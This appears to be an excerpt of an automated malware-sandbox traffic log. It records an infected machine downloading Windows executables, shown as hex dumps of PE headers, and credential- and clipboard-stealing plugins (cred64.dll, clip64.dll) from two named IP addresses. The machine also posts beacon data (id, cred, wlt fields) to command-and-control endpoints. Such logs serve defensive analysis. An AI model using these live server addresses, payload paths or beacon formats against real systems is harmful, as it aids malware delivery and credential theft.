00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 18 Apr 2024 21:40:13 GMTContent-Type: application/octet-streamContent-Length: 2327552Last-Modified: Thu, 18 Apr 2024 21:22:33 GMTConnection: keep-aliveETag: "66218f19-238400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 0c 9a 1f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 32 04 00 00 00 00 00 00 10 59 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 59 00 00 04 00 00 4d c2 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 5a 58 00 4c 00 00 00 6d 10 15 00 95 00 00 00 00 50 14 00 ec b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 5a 58 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 5a 58 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ec b5 00 00 00 50 14 00 00 82 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 15 00 00 02 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 20 15 00 00 02 00 00 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 69 72 61 67 7a 65 6a 00 b0 19 00 00 60 3f 00 00 ae 19 00 00 d4 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 71 75 73 70 6e 7a 61 00 10 00 00 00 10 59 00 00 02 00 00 00 82 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 18 Apr 2024 21:40:15 GMTContent-Type: application/octet-streamContent-Length: 1285632Last-Modified: Thu, 01 Feb 2024 16:00:36 GMTConnection: keep-aliveETag: "65bbc024-139e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 de c9 0d 82 bf a7 5e 82 bf a7 5e 82 bf a7 5e d9 d7 a3 5f 91 bf a7 5e d9 d7 a4 5f 92 bf a7 5e d9 d7 a2 5f 32 bf a7 5e 57 d2 a2 5f c4 bf a7 5e 57 d2 a3 5f 8d bf a7 5e 57 d2 a4 5f 8b bf a7 5e d9 d7 a6 5f 8f bf a7 5e 82 bf a6 5e 43 bf a7 5e 19 d1 ae 5f 86 bf a7 5e 19 d1 a7 5f 83 bf a7 5e 19 d1 58 5e 83 bf a7 5e 19 d1 a5 5f 83 bf a7 5e 52 69 63 68 82 bf a7 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 0f bf bb 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 c0 0f 00 00 52 04 00 00 00 00 00 68 06 0d 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 89 12 00 58 00 00 00 78 89 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 28 ad 00 00 00 00 00 00 00 00 00 00 00 30 14 00 f4 15 00 00 b0 9e 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 9f 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 d0 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 be 0f 00 00 10 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 cd 02 00 00 d0 0f 00 00 ce 02 00 00 c4 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c bb 00 00 00 a0 12 00 00 44 00 00 00 92 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 ad 00 00 00 60 13 00 00 ae 00 00 00 d6 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 10 14 00 00 02 00 00 00 84 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 86 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f4 15 00 00 00 30 14 00 00 16 00 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 18 Apr 2024 21:40:19 GMTContent-Type: application/octet-streamContent-Length: 2277888Last-Modified: Thu, 18 Apr 2024 21:22:36 GMTConnection: keep-aliveETag: "66218f1c-22c200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 fe 74 b9 52 69 63 68 14 fe 74 b9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 0c 9a 1f 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 34 11 00 00 48 04 00 00 00 00 00 00 90 57 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 57 00 00 04 00 00 7e b2 23 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 38 db 56 00 4c 00 00 00 5e 10 15 00 72 00 00 00 00 50 14 00 f8 b2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 db 56 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 da 56 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 e4 13 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 14 00 00 10 00 00 00 3e 09 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f8 b2 00 00 00 50 14 00 00 80 00 00 00 4e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 15 00 00 02 00 00 00 ce 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 29 00 00 20 15 00 00 02 00 00 00 d0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 73 70 63 7a 73 72 72 00 f0 18 00 00 a0 3e 00 00 ec 18 00 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 68 76 75 6c 72 79 6a 00 10 00 00 00 90 57 00 00 04 00 00 00 be 22 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 18 Apr 2024 21:40:19 GMTContent-Type: application/octet-streamContent-Length: 112128Last-Modified: Thu, 01 Feb 2024 16:00:35 GMTConnection: keep-aliveETag: "65bbc023-1b600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 11 bf bb 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 24 01 00 00 9a 00 00 00 00 00 00 ec 66 00 00 00 10 00 00 00 40 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 a1 01 00 9c 00 00 00 bc a1 01 00 50 00 00 00 00 d0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 d4 14 00 00 f0 8f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 90 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 23 01 00 00 10 00 00 00 24 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 69 00 00 00 40 01 00 00 6a 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c 17 00 00 00 b0 01 00 00 0c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 d0 01 00 00 02 00 00 00 9e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 14 00 00 00 e0 01 00 00 16 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/cred64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: GET /mine/amert.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/clip64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000054001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000055001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /enigma/Plugins/cred64.dll HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000056001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: GET /cost/sarra.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /enigma/Plugins/clip64.dll HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Source: global traffic	HTTP traffic detected: POST /enigma/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.167Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
